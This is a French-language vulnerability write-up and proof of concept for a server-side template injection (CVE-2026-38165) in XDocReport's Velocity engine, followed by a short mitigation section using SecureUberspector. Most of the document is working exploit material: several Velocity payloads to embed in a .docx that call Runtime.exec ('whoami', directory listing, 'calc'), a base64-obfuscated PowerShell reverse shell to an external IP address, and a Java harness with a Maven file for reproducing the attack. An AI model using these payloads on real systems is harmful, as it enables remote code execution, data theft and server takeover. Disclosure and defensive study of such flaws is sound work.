
CVE-2026-38165 (SSTI)
Vue d'ensemble de la vulnérabilité
Server-Side Template Injection (SSTI) est une vulnérabilité de sécurité web qui permet à un attaquant d'injecter du code malveillant dans les modèles (templates) utilisés par les systèmes de gestion de contenu (CMS) et les frameworks web, afin d'effectuer des attaques distantes, de récupérer des informations sensibles ou de mener des activités d'intrusion système.
SSTI est une variante de la vulnérabilité d'injection (comme SQL Injection, XSS, etc.) dans laquelle l'attaquant exploite l'utilisation de systèmes de templates pour déployer du code malveillant à distance. Lorsqu'une attaque SSTI réussit, l'attaquant peut exécuter son propre code sur le serveur côté serveur, ce qui lui permet d'effectuer des attaques distantes, telles que la collecte d'informations sensibles, la réalisation d'activités d'intrusion système et l'accès à des ressources non autorisées.
La vulnérabilité SSTI survient généralement en raison de l'utilisation de systèmes de templates non sécurisés, ou de l'absence de vérification et de traitement des paramètres d'entrée avant de les insérer dans les modèles. Si une attaque SSTI réussit, les conséquences peuvent être graves et causer des pertes importantes pour l'organisation attaquée.
Impact commercial
La vulnérabilité SSTI peut avoir plusieurs conséquences graves, notamment :
Exécution de code malveillant : L'attaquant peut utiliser cette vulnérabilité pour exécuter du code malveillant sur le serveur, permettant le vol de données, la réalisation d'actions illégales sur le système, voire le contrôle total du serveur.
Divulgation d'informations sensibles : SSTI peut permettre à un attaquant de lire, modifier ou supprimer des fichiers sur le serveur. Si ces fichiers contiennent des informations sensibles, comme des comptes et mots de passe, l'attaquant peut facilement divulguer ces informations.
Attaques de menace ou d'escroquerie des utilisateurs : L'attaquant peut utiliser SSTI pour mener des attaques de menace ou d'escroquerie des utilisateurs en modifiant le contenu du site web ou en ajoutant de faux boutons personnalisés. Si les utilisateurs cliquent sur ces boutons, l'attaquant peut voler leurs informations ou installer des logiciels malveillants sur leur ordinateur.

fr.opensagres.xdocreport.template.velocity
Une vulnérabilité d'injection de modèles côté serveur (SSTI) a été découverte dans OpenSAGRES XDocReport lors du traitement de modèles DOCX avec le moteur Velocity. Sous certaines configurations, des modèles conçus de manière malveillante peuvent conduire à une exécution de code à distance (RCE).
Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise le moteur de template Velocity (dans le fichier) pour afficher le contenu sans aucun mécanisme de contrôle ou de filtrage des entrées.
Cette vulnérabilité permet à un attaquant d'injecter des expressions malveillantes dans le fichier .docx (template), conduisant à une exécution de code à distance (RCE) sur le serveur, pouvant être exploitée pour voler des informations ou prendre le contrôle du système.
fr.opensagres.xdocreport.template.velocity — XDocReport (versions <= 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) est la méthode standard/« par défaut » d'Apache Velocity pour évaluer un template à partir d'un Reader (ou d'une String) en utilisant un Context et en écrivant dans un Writer. Elle exécute la syntaxe VTL (Velocity Template Language) comme Template.merge(...)
evaluate : parse depuis Reader/String → pratique lorsque le template est dynamique/non fiable.
getTemplate(...).merge(...) : charge le template déjà traité par le chargeur de ressources (mise en cache, encodage…), puis merge. En termes de capacité d'exécution VTL, les deux exécutent les mêmes expressions ; la différence réside principalement dans l'emplacement/mode de chargement du template.
.docx contenant la payload suivante :
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx au traitement par xdocreport

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
La classe Apache Velocity SecureUberspector est un introspecteur sandbox.
SecureUberspector bloquera :
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
Bloque :
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Lire le fichier d'entrée contenant l'expression Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // Fichier d'entrée
InputStream input = new FileInputStream(docxTemplate);
// Charger le template en utilisant Velocity
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Créer le contexte - peut être vide si on teste juste une expression indépendante
IContext context = report.createContext();
// Exporter vers un nouveau fichier
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Fichier result.docx créé avec succès.");
} catch (Exception e) {
System.err.println("❌ Erreur lors du traitement du fichier :");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Moteur de template : FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













